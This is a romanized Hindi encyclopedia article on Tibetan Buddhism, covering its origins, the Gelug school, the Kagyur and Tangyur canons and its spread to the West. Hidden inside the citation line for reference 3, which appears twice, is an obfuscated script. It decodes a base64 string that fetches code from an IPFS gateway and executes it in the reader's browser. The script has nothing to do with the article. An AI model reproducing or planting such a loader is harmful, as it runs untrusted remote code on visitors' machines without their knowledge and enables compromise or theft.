तिब्बती बौद्ध धर्म

tibbati bauddh dharm jo ashuddh tariqe se 'lamavad' bhi kahalata hai, bauddh dharm ka vishisht ya vibhedit roop. yah satavian shatabdi mean tibbat mean vikasit hua. yah mukhyat: madhyamik tatha yogachar darshan ke kathor bauddhik anushasan par adharit hai aur isamean 'vajrayan'^[1] ke pratikatmak anushthanik acharoan ka palan hota hai.

visheshataean

tibbati bauddh dharm mean aranbhik theravadi bauddh dharm ke mathavasi anushasan tatha sthaniy tibbati dharm b aaun ki jadoogari jaisi visheshataean bhi shamil thian. tibbati bauddh dharm ki visheshata asamany roop se janasankhya ke ek b de hisse ka dharmik lakshy mean sanlagn hona hai. 1950 ke dashak mean chin ke samyavadiyoan dvara is desh par kabze se pahale lagabhag ek-chauthaee nivasi dharmik matoan ke sadasy the. isamean 'pun: avatar lene vale lamaoan' ki paddhati; dalaee lama ke pad tatha vyakti mean adhyatmik v saansarik satta ka paranparagat vilay; aur b di sankhya mean devata^[2], jinhean dharmik kulin varg atmik jivan ka prastutikaran manata hai tatha samany jan vastavik manakar svikar karata hai, shamil haian.^[3]

prasar

tibbat mean bauddh dharm ka prasar mukhyat: satavian se dasavian shatabdi ke bich hua. aranbhik upadeshakoan mean ullekhaniy taantrik guru padmasanbhav aur adhik roodhivadi 'mahayan' upadeshak shaantirakshit shamil haian. 1042 mean bharat se mahanh shikshak atisha ke agaman ke sath hi vahaan ek sudharavadi aandolan ki shuruat huee tatha ek shatabdi ke bhitar hi tibbati bauddh dharm ke pramukh sanpraday astitv mean ae. 'gelugh-pa' ya dharmik paddhatiyoan mean se ek, jo samany: 'pila top sanpraday' ke nam se jana jata hai tatha dalaee v panchen lamaoan ka mat hai, 17vian shatabdi se lekar 1959 tak rajanitik roop se pramukh tibbati sanpraday raha hai. isake bad chini ganarajy ne dalaee lama ke padanukramik prashasan ko samapt kar diya.

shreniyaan

14vian shatabdi tak tibbati log bharat tatha tibbat mean upalabdh samooche bauddh sahity ka anuvad karane mean saphal ho ge the. apane mool desh mean lupt ho chuke kee sanskrit granthoan ki janakari unake tibbati anuvadoan se milati hai. tibbati dharm vijnan do shreniyoan mean vibhajit hai-

'kagyur' ya shabdoan ka anuvad, jisamean sanbhavat: dharmavidhaniy path haian
'tangyur' ya prasarit shabd, jisamean bharatiy guruoan ki tikaean haian

20vian shatabdi ke doosare uttarardh mean tibbati bauddh dharm ka pashchim mean prasar hua, visheshakar tibbat ko chini samyavadiyoan dvara adhin kar lie jane ke karan kee sharanarthi apane grihakshetr se nikale, jinamean paramadaraniy 'punarhavatarit lama' ya tuluk bhi shamil the. pashchim mean tibbati dharmik samooh mean sharanarthiyoan ke samuday tatha tibbati paranpara ki or akarshit pashchimi log shamil haian.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ taantrik bauddh dharm
↑ ^2.0 ^2.1 pratyek apane parivar, patni tatha prashaant v vikaral roopoan mean
↑ bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 363 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] taantrik bauddh dharm

[aa-2] 2.0 ^2.1 pratyek apane parivar, patni tatha prashaant v vikaral roopoan mean

[3] rat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 363 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]

[3]